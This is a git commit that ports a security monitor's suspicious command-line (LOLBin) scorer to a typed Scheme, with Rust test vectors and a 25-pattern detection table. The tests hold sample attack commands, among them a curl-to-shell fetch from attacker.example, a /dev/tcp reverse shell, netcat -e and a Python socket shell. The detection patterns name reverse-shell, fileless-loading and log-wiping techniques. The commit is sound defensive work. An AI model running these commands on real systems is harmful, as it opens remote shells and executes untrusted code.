Port secmon lolbin scoring to Typed Jerboa
Jaime Fournier <jaimef@linbsd.org>
e3ba6d79d528be42e034e5411271317ba73de6de
diff --git a/README.md b/README.md
index 07fe0eb..05f84e3 100644
--- a/README.md
+++ b/README.md
@@ -36,8 +36,9 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage).
| `dga::max_consonant_run` | `typed/dga.ss` | ✅ ported, vectors pass |
| `dga::shannon_entropy` | `typed/dga.ss` | ✅ ported, vectors pass |
| `dga::score_domain` | `typed/dga.ss` | ✅ full: lowercase + dot-trim + benign-suffix + label split + score; vectors pass (diagnostic `reasons` list pending) |
-| `&str` ops (lowercase/ends_with/starts_with/contains/split) | `typed/strbytes.ss` | ✅ Bytes toolkit, vectors pass — shared by dga/lolbin/sigma |
-| `lolbin`, `sigma`, `triage` | — | ⏳ pure logic, queued |
+| `&str` ops (lowercase/ends_with/starts_with/contains/split/whole-word) | `typed/strbytes.ss` | ✅ Bytes toolkit, vectors pass — shared by dga/lolbin/sigma |
+| `lolbin::score` + `severity` | `typed/lolbin.ss` | ✅ full 25-pattern table + severity buckets; vectors pass (JSON-cmdline parse stays in untyped wrapper; diagnostic match list with caller) |
+| `sigma`, `triage`, `analytics` | — | ⏳ pure logic, queued |
| `psk::constant_time_eq` | `typed/psk.ss` | ✅ ported, vectors pass |
| `psk::from_hex` (hex codec) | `typed/psk.ss` | ✅ hex-encode ported; decode + length check queued |
| `psk` HKDF/SHA256/AES-GCM | — | ⏳ FFI-delegated to vetted crates (not reimplemented) |
diff --git a/tests/lolbin_vectors.rs b/tests/lolbin_vectors.rs
new file mode 100644
index 0000000..8717b6d
--- /dev/null
+++ b/tests/lolbin_vectors.rs
@@ -0,0 +1,92 @@
+//! Vectors for LOLBin command-line scoring, checked against secmon's own
+//! lolbin::tests. The Rust source returns a LolScore { total, matches }; the
+//! typed port returns just the headline `total` (the per-match label list is
+//! diagnostic and rebuilt by the untyped caller), so where secmon asserts a
+//! specific label fired we call the corresponding `pat_*_p` matcher directly.
+
+use jerboa_typed_generated::jsecmon_lolbin::{
+ pat_discovery_burst_p, pat_exec_from_tmp_p, pat_pipe_to_shell_p, score_cmdline, severity,
+};
+
+fn b(s: &str) -> Vec<u8> {
+ s.as_bytes().to_vec()
+}
+
+#[test]
+fn benign_curl_does_not_score() {
+ assert_eq!(
+ score_cmdline(
+ "curl https://example.com -o /home/user/page.html".to_string(),
+ "/usr/bin/curl".to_string()
+ ),
+ 0
+ );
+}
+
+#[test]
+fn curl_pipe_sh_fires() {
+ let cmd = "curl https://attacker.example/x | sh";
+ assert!(score_cmdline(cmd.to_string(), "/usr/bin/bash".to_string()) >= 70);
+ // secmon asserts the "pipe-to-shell" label specifically.
+ assert!(pat_pipe_to_shell_p(b(cmd)));
+}
+
+#[test]
+fn dev_tcp_reverse_shell_fires() {
+ // dev-tcp-redirect (80) + interactive-shell-flag (25) = 105.
+ assert!(
+ score_cmdline(
+ "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1".to_string(),
+ "/usr/bin/bash".to_string()
+ ) >= 80
+ );
+}
+
+#[test]
+fn nc_execute_flag_fires() {
+ assert!(
+ score_cmdline("nc -e /bin/sh 1.2.3.4 4444".to_string(), "/usr/bin/nc".to_string()) >= 80
+ );
+}
+
+#[test]
+fn base64_pipe_bash_fires() {
+ assert!(
+ score_cmdline(
+ "echo aGVsbG8K | base64 -d | bash".to_string(),
+ "/bin/bash".to_string()
+ ) >= 50
+ );
+}
+
+#[test]
+fn exec_from_tmp_fires() {
+ // secmon asserts the "exec-from-tmp" match is present; the matcher reads exe.
+ assert!(pat_exec_from_tmp_p(b("/tmp/payload")));
+ assert!(score_cmdline("./payload".to_string(), "/tmp/payload".to_string()) >= 50);
+}
+
+#[test]
+fn python_reverse_shell_fires() {
+ let cmd = "python -c import socket,subprocess;s=socket.socket();s.connect(('a',1));subprocess.call(['/bin/sh'])";
+ assert!(score_cmdline(cmd.to_string(), "/usr/bin/python3".to_string()) >= 70);
+}
+
+#[test]
+fn discovery_burst_fires_only_at_three_plus() {
+ // A single discovery command scores nothing.
+ assert_eq!(score_cmdline("whoami".to_string(), "/usr/bin/whoami".to_string()), 0);
+ assert!(!pat_discovery_burst_p(b("whoami")));
+ // Three distinct discovery signals (whoami, id, uname) trip the burst.
+ let three = "whoami; id; uname -a";
+ assert!(pat_discovery_burst_p(b(three)));
+ assert!(score_cmdline(three.to_string(), "/bin/sh".to_string()) >= 15);
+}
+
+#[test]
+fn severity_buckets() {
+ assert_eq!(severity(25), "info");
+ assert_eq!(severity(35), "medium");
+ assert_eq!(severity(75), "high");
+ assert_eq!(severity(120), "critical");
+}
diff --git a/tests/strbytes_vectors.rs b/tests/strbytes_vectors.rs
index 84ea154..2b9eac0 100644
--- a/tests/strbytes_vectors.rs
+++ b/tests/strbytes_vectors.rs
@@ -3,8 +3,8 @@
//! suppression and leftmost-label split).
use jerboa_typed_generated::jsecmon_strbytes::{
- ascii_lower_bytes, bytes_contains_p, bytes_prefix_p, bytes_suffix_p, first_label_len,
- index_of_byte,
+ ascii_lower_bytes, bytes_contains_p, bytes_prefix_p, bytes_suffix_p, contains_word_p,
+ first_label_len, index_of_byte,
};
fn b(s: &str) -> Vec<u8> {
@@ -56,3 +56,20 @@ fn lowercase_is_ascii_faithful() {
assert_eq!(ascii_lower_bytes("a1B2.Net".to_string()), b("a1b2.net"));
assert_eq!(ascii_lower_bytes("".to_string()), b(""));
}
+
+#[test]
+fn whole_word_match_avoids_substrings() {
+ // lolbin's discovery-burst checks the token `id` without matching "did".
+ assert!(contains_word_p(b("whoami; id; uname -a"), b("id")));
+ assert!(contains_word_p(b("id"), b("id")));
+ assert!(contains_word_p(b("run id"), b("id")));
+ assert!(contains_word_p(b("id; ls"), b("id")));
+ // delimited by | and & too
+ assert!(contains_word_p(b("cat x|id&echo"), b("id")));
+ // not a whole word inside "did" / "rapid" / "idle"
+ assert!(!contains_word_p(b("what did you do"), b("id")));
+ assert!(!contains_word_p(b("rapid deploy"), b("id")));
+ assert!(!contains_word_p(b("idle hands"), b("id")));
+ // empty needle never matches
+ assert!(!contains_word_p(b("anything"), b("")));
+}
diff --git a/typed/lolbin.ss b/typed/lolbin.ss
new file mode 100644
index 0000000..f8bbb38
--- /dev/null
+++ b/typed/lolbin.ss
@@ -0,0 +1,252 @@
+;;; jsecmon — LOLBin / suspicious command-line scoring.
+;;;
+;;; Port of secmon/src/lolbin.rs. secmon scores a command line against a fixed,
+;;; additive pattern table; the total decides whether the process_start event
+;;; becomes a suspicious_cmdline anomaly. Every matcher there is a combination
+;;; of str::{contains,starts_with,ends_with} (and one whole-word tokenization),
+;;; so each ports directly onto the Bytes string toolkit. We lowercase the
+;;; cmdline and exe once (secmon's cmd_lower / exe_lower) and return the headline
+;;; `total`; the per-match label/explanation list is diagnostic and lives with
+;;; the (untyped) caller that builds the anomaly.
+
+(typed-library (jsecmon lolbin)
+ (export score-cmdline severity)
+ (import (jsecmon strbytes))
+
+ ;; --- pattern matchers (operate on the lowercased cmdline / exe bytes) ---
+
+ ;; pipe-to-shell (70): a network fetcher piped straight into an interpreter.
+ (def (pat-pipe-to-shell? (cmd : Bytes)) : Bool
+ (and (or (bytes-contains? cmd (string->utf8 "curl "))
+ (bytes-contains? cmd (string->utf8 "wget "))
+ (bytes-contains? cmd (string->utf8 "fetch "))
+ (bytes-contains? cmd (string->utf8 "lwp-request")))
+ (or (bytes-contains? cmd (string->utf8 "| sh"))
+ (bytes-contains? cmd (string->utf8 "|sh"))
+ (bytes-contains? cmd (string->utf8 "| bash"))
+ (bytes-contains? cmd (string->utf8 "|bash"))
+ (bytes-contains? cmd (string->utf8 "| zsh"))
+ (bytes-contains? cmd (string->utf8 "| ksh"))
+ (bytes-contains? cmd (string->utf8 "| python"))
+ (bytes-contains? cmd (string->utf8 "|python"))
+ (bytes-contains? cmd (string->utf8 "| perl"))
+ (bytes-contains? cmd (string->utf8 "|perl")))))
+
+ ;; dev-tcp-redirect / dev-udp-redirect (80 each): bash reverse-shell primitive.
+ (def (pat-dev-tcp? (cmd : Bytes)) : Bool
+ (bytes-contains? cmd (string->utf8 "/dev/tcp/")))
+ (def (pat-dev-udp? (cmd : Bytes)) : Bool
+ (bytes-contains? cmd (string->utf8 "/dev/udp/")))
+
+ ;; nc-execute (80): nc/ncat as a word, with -e/-c execute-on-connect.
+ (def (pat-nc-execute? (cmd : Bytes)) : Bool
+ (and (or (bytes-prefix? cmd (string->utf8 "nc "))
+ (bytes-prefix? cmd (string->utf8 "ncat "))
+ (bytes-contains? cmd (string->utf8 " nc "))
+ (bytes-contains? cmd (string->utf8 " ncat ")))
+ (or (bytes-contains? cmd (string->utf8 " -e "))
+ (bytes-contains? cmd (string->utf8 " -c ")))))
+
+ ;; socat-exec (80): socat with an EXEC:/SYSTEM: payload.
+ (def (pat-socat-exec? (cmd : Bytes)) : Bool
+ (and (bytes-contains? cmd (string->utf8 "socat"))
+ (or (bytes-contains? cmd (string->utf8 "exec:"))
+ (bytes-contains? cmd (string->utf8 "system:")))))
+
+ ;; interactive-shell-flag (25): a shell launched with -i.
+ (def (pat-interactive-shell? (cmd : Bytes)) : Bool
+ (or (bytes-contains? cmd (string->utf8 "bash -i"))
+ (bytes-contains? cmd (string->utf8 "sh -i"))
+ (bytes-contains? cmd (string->utf8 "zsh -i"))
+ (bytes-contains? cmd (string->utf8 "ksh -i"))))
+
+ ;; base64-decode-exec (60): base64 decode piped into a runner / eval.
+ (def (pat-base64-exec? (cmd : Bytes)) : Bool
+ (and (or (bytes-contains? cmd (string->utf8 "base64 -d"))
+ (bytes-contains? cmd (string->utf8 "base64 --decode"))
+ (bytes-contains? cmd (string->utf8 "openssl base64 -d"))
+ (bytes-contains? cmd (string->utf8 "openssl enc -d -base64")))
+ (or (bytes-contains? cmd (string->utf8 "| sh"))
+ (bytes-contains? cmd (string->utf8 "| bash"))
+ (bytes-contains? cmd (string->utf8 "| python"))
+ (bytes-contains? cmd (string->utf8 "| perl"))
+ (bytes-contains? cmd (string->utf8 "| ruby"))
+ (bytes-contains? cmd (string->utf8 "| node"))
+ (bytes-contains? cmd (string->utf8 "eval")))))
+
+ ;; echo-pipe-decoder (50): echo of a blob piped into a decoder/runner.
+ (def (pat-echo-pipe? (cmd : Bytes)) : Bool
+ (and (bytes-prefix? cmd (string->utf8 "echo "))
+ (bytes-contains? cmd (string->utf8 " | "))
+ (or (bytes-contains? cmd (string->utf8 "base64"))
+ (bytes-contains? cmd (string->utf8 "xxd"))
+ (bytes-contains? cmd (string->utf8 "openssl")))))
+
+ ;; exec-from-tmp (50): executable living in a world-writable dir.
+ (def (pat-exec-from-tmp? (exe : Bytes)) : Bool
+ (or (bytes-prefix? exe (string->utf8 "/tmp/"))
+ (bytes-prefix? exe (string->utf8 "/dev/shm/"))
+ (bytes-prefix? exe (string->utf8 "/var/tmp/"))
+ (bytes-prefix? exe (string->utf8 "/run/user/"))))
+
+ ;; chmod-x-tmp (60): making something in a temp dir executable.
+ (def (pat-chmod-x-tmp? (cmd : Bytes)) : Bool
+ (and (or (bytes-contains? cmd (string->utf8 "chmod +x"))
+ (bytes-contains? cmd (string->utf8 "chmod 755"))
+ (bytes-contains? cmd (string->utf8 "chmod 777")))
+ (or (bytes-contains? cmd (string->utf8 "/tmp/"))
+ (bytes-contains? cmd (string->utf8 "/dev/shm/"))
+ (bytes-contains? cmd (string->utf8 "/var/tmp/")))))
+
+ ;; wget-into-tmp (50): fetcher writing into a world-writable dir.
+ (def (pat-wget-into-tmp? (cmd : Bytes)) : Bool
+ (and (or (bytes-contains? cmd (string->utf8 "wget "))
+ (bytes-contains? cmd (string->utf8 "curl ")))
+ (or (bytes-contains? cmd (string->utf8 " /tmp/"))
+ (bytes-contains? cmd (string->utf8 " /dev/shm/"))
+ (bytes-contains? cmd (string->utf8 " /var/tmp/"))
+ (bytes-contains? cmd (string->utf8 "-o /tmp"))
+ (bytes-contains? cmd (string->utf8 "-o /dev/shm"))
+ (bytes-contains? cmd (string->utf8 "-o /var/tmp"))
+ (bytes-contains? cmd (string->utf8 "--output-document=/tmp")))))
+
+ ;; python/perl/ruby/php socket one-liners (70 each).
+ (def (pat-python-socket? (cmd : Bytes)) : Bool
+ (and (bytes-contains? cmd (string->utf8 "python"))
+ (bytes-contains? cmd (string->utf8 " -c "))
+ (bytes-contains? cmd (string->utf8 "socket"))
+ (or (bytes-contains? cmd (string->utf8 "subprocess"))
+ (bytes-contains? cmd (string->utf8 "os.system"))
+ (bytes-contains? cmd (string->utf8 "pty.spawn"))
+ (bytes-contains? cmd (string->utf8 "exec(")))))
+ (def (pat-perl-socket? (cmd : Bytes)) : Bool
+ (and (bytes-contains? cmd (string->utf8 "perl"))
+ (bytes-contains? cmd (string->utf8 " -e "))
+ (bytes-contains? cmd (string->utf8 "socket"))
+ (or (bytes-contains? cmd (string->utf8 "exec"))
+ (bytes-contains? cmd (string->utf8 "/bin/sh")))))
+ (def (pat-ruby-socket? (cmd : Bytes)) : Bool
+ (and (bytes-contains? cmd (string->utf8 "ruby"))
+ (bytes-contains? cmd (string->utf8 " -e "))
+ (bytes-contains? cmd (string->utf8 "tcpsocket"))
+ (or (bytes-contains? cmd (string->utf8 "exec"))
+ (bytes-contains? cmd (string->utf8 "/bin/sh")))))
+ (def (pat-php-socket? (cmd : Bytes)) : Bool
+ (and (bytes-contains? cmd (string->utf8 "php"))
+ (bytes-contains? cmd (string->utf8 " -r "))
+ (or (bytes-contains? cmd (string->utf8 "fsockopen"))
+ (bytes-contains? cmd (string->utf8 "shell_exec"))
+ (bytes-contains? cmd (string->utf8 "system(")))))
+
+ ;; mkfifo-pipe (60): named-pipe reverse shell construction.
+ (def (pat-mkfifo-pipe? (cmd : Bytes)) : Bool
+ (and (bytes-contains? cmd (string->utf8 "mkfifo"))
+ (or (bytes-contains? cmd (string->utf8 "|sh"))
+ (bytes-contains? cmd (string->utf8 "| sh"))
+ (bytes-contains? cmd (string->utf8 "|bash"))
+ (bytes-contains? cmd (string->utf8 "| bash")))))
+
+ ;; memfd-loader (70): fileless execution path.
+ (def (pat-memfd-loader? (cmd : Bytes)) : Bool
+ (or (bytes-contains? cmd (string->utf8 "memfd_create"))
+ (bytes-contains? cmd (string->utf8 "memfd:"))
+ (bytes-contains? cmd (string->utf8 "/proc/self/fd/"))
+ (bytes-contains? cmd (string->utf8 "fexecve"))))
+
+ ;; ld-preload-set (60): library injection on the command line.
+ (def (pat-ld-preload? (cmd : Bytes)) : Bool
+ (bytes-contains? cmd (string->utf8 "ld_preload=")))
+
+ ;; crontab-from-fetch (50): cron entry that fetches+runs a remote script.
+ (def (pat-crontab-fetch? (cmd : Bytes)) : Bool
+ (and (bytes-contains? cmd (string->utf8 "crontab"))
+ (or (bytes-contains? cmd (string->utf8 "curl"))
+ (bytes-contains? cmd (string->utf8 "wget")))))
+
+ ;; ssh-key-write (40): appending a backdoor key to authorized_keys.
+ (def (pat-ssh-key-write? (cmd : Bytes)) : Bool
+ (and (bytes-contains? cmd (string->utf8 "authorized_keys"))
+ (or (bytes-contains? cmd (string->utf8 "echo"))
+ (bytes-contains? cmd (string->utf8 ">>")))))
+
+ ;; history-clear (40): shell history clearing / unset.
+ (def (pat-history-clear? (cmd : Bytes)) : Bool
+ (or (bytes-contains? cmd (string->utf8 "history -c"))
+ (bytes-contains? cmd (string->utf8 "histfile=/dev/null"))
+ (bytes-contains? cmd (string->utf8 "unset histfile"))
+ (bytes-contains? cmd (string->utf8 "rm ~/.bash_history"))
+ (bytes-contains? cmd (string->utf8 "rm -f ~/.bash_history"))
+ (bytes-contains? cmd (string->utf8 "ln -s /dev/null ~/.bash_history"))))
+
+ ;; log-truncate (40): truncating/removing system logs (but not logrotate).
+ (def (pat-log-truncate? (cmd : Bytes)) : Bool
+ (and (or (bytes-contains? cmd (string->utf8 "> /var/log/"))
+ (bytes-contains? cmd (string->utf8 ">/var/log/"))
+ (bytes-contains? cmd (string->utf8 "rm /var/log/"))
+ (bytes-contains? cmd (string->utf8 "rm -f /var/log/"))
+ (bytes-contains? cmd (string->utf8 "truncate -s 0 /var/log/")))
+ (not (bytes-contains? cmd (string->utf8 "logrotate")))))
+
+ ;; discovery-burst (15): >= 3 distinct recon signals in one line. `id` and
+ ;; `hostname` are matched as whole tokens (so "did"/"rapid" do not count).
+ (def (pat-discovery-burst? (cmd : Bytes)) : Bool
+ (let ((n (+ (if (contains-word? cmd (string->utf8 "id")) 1 0)
+ (if (bytes-contains? cmd (string->utf8 "whoami")) 1 0)
+ (if (bytes-contains? cmd (string->utf8 "uname")) 1 0)
+ (if (bytes-contains? cmd (string->utf8 "/etc/passwd")) 1 0)
+ (if (or (bytes-contains? cmd (string->utf8 "ls -la /root"))
+ (bytes-contains? cmd (string->utf8 "ls /root"))) 1 0)
+ (if (contains-word? cmd (string->utf8 "hostname")) 1 0))))
+ (>= n 3)))
+
+ ;; powershell-on-linux (50): pwsh/powershell exe on a Linux host.
+ (def (pat-powershell? (exe : Bytes)) : Bool
+ (or (bytes-suffix? exe (string->utf8 "/pwsh"))
+ (bytes-suffix? exe (string->utf8 "/powershell"))))
+
+ ;; shc-output (30): compiled-shell-script wrapper artifact.
+ (def (pat-shc-output? (exe : Bytes)) : Bool
+ (or (bytes-contains? exe (string->utf8 ".x.c"))
+ (bytes-contains? exe (string->utf8 ".x.exe"))))
+
+ ;; --- headline scorer ---
+
+ ;; Sum of every matched pattern's weight, exactly like lolbin::score's loop
+ ;; over PATTERNS. cmdline is the full argv joined with spaces; exe the
+ ;; executable path. Either may be empty.
+ (def (score-cmdline (cmdline : String) (exe : String)) : Nat
+ (let ((cmd (ascii-lower-bytes cmdline))
+ (x (ascii-lower-bytes exe)))
+ (+ (if (pat-pipe-to-shell? cmd) 70 0)
+ (if (pat-dev-tcp? cmd) 80 0)
+ (if (pat-dev-udp? cmd) 80 0)
+ (if (pat-nc-execute? cmd) 80 0)
+ (if (pat-socat-exec? cmd) 80 0)
+ (if (pat-interactive-shell? cmd) 25 0)
+ (if (pat-base64-exec? cmd) 60 0)
+ (if (pat-echo-pipe? cmd) 50 0)
+ (if (pat-exec-from-tmp? x) 50 0)
+ (if (pat-chmod-x-tmp? cmd) 60 0)
+ (if (pat-wget-into-tmp? cmd) 50 0)
+ (if (pat-python-socket? cmd) 70 0)
+ (if (pat-perl-socket? cmd) 70 0)
+ (if (pat-ruby-socket? cmd) 70 0)
+ (if (pat-php-socket? cmd) 70 0)
+ (if (pat-mkfifo-pipe? cmd) 60 0)
+ (if (pat-memfd-loader? cmd) 70 0)
+ (if (pat-ld-preload? cmd) 60 0)
+ (if (pat-crontab-fetch? cmd) 50 0)
+ (if (pat-ssh-key-write? cmd) 40 0)
+ (if (pat-history-clear? cmd) 40 0)
+ (if (pat-log-truncate? cmd) 40 0)
+ (if (pat-discovery-burst? cmd) 15 0)
+ (if (pat-powershell? x) 50 0)
+ (if (pat-shc-output? x) 30 0))))
+
+ ;; Severity bucket for a total, matching LolScore::severity.
+ (def (severity (total : Nat)) : String
+ (if (>= total 100)
+ "critical"
+ (if (>= total 60)
+ "high"
+ (if (>= total 30) "medium" "info")))))
diff --git a/typed/strbytes.ss b/typed/strbytes.ss
index 5e1f1ff..a259d11 100644
--- a/typed/strbytes.ss
+++ b/typed/strbytes.ss
@@ -9,7 +9,7 @@
(typed-library (jsecmon strbytes)
(export ascii-lower-bytes bytes-suffix? bytes-prefix? bytes-contains?
- index-of-byte first-label-len)
+ contains-word? index-of-byte first-label-len)
;; ASCII lowercase one byte: map A-Z (65..90) into a-z by adding 0x20.
(def (lower1 (b : Nat)) : Nat
@@ -53,6 +53,35 @@
(def (bytes-contains? (hay : Bytes) (need : Bytes)) : Bool
(search-from hay (bytevector-length hay) need (bytevector-length need) 0))
+ ;; A shell token delimiter: whitespace (space/tab/nl/cr) or one of ; | & --
+ ;; the split set lolbin's discovery-burst uses.
+ (def (delim-byte? (b : Nat)) : Bool
+ (or (= b 32) (or (= b 9) (or (= b 10) (or (= b 13)
+ (or (= b 59) (or (= b 124) (= b 38))))))))
+
+ ;; need matches at `start` with a delimiter (or buffer edge) on each side.
+ (def (word-at? (hay : Bytes) (hn : Nat) (need : Bytes) (nn : Nat) (start : Nat)) : Bool
+ (and (match-at? hay start need 0 nn)
+ (and (or (= start 0) (delim-byte? (bytevector-u8-ref hay (- start 1))))
+ (or (= (+ start nn) hn)
+ (delim-byte? (bytevector-u8-ref hay (+ start nn)))))))
+
+ (def (word-search (hay : Bytes) (hn : Nat) (need : Bytes) (nn : Nat) (start : Nat)) : Bool
+ (if (> (+ start nn) hn)
+ #f
+ (if (word-at? hay hn need nn start)
+ #t
+ (word-search hay hn need nn (+ start 1)))))
+
+ ;; #t iff need occurs in hay as a whole token, i.e. delimiter- or edge-
+ ;; bounded. The Bytes analogue of split(ws|;|||&).any(|t| t == need); lets a
+ ;; matcher check `id` without also matching "did" or "rapid". Empty need is #f.
+ (def (contains-word? (hay : Bytes) (need : Bytes)) : Bool
+ (let ((nn (bytevector-length need)))
+ (if (= nn 0)
+ #f
+ (word-search hay (bytevector-length hay) need nn 0))))
+
;; index of the first byte == v scanning [i, n), or n if none.
(def (scan-byte (bs : Bytes) (v : Nat) (i : Nat) (n : Nat)) : Nat
(if (>= i n)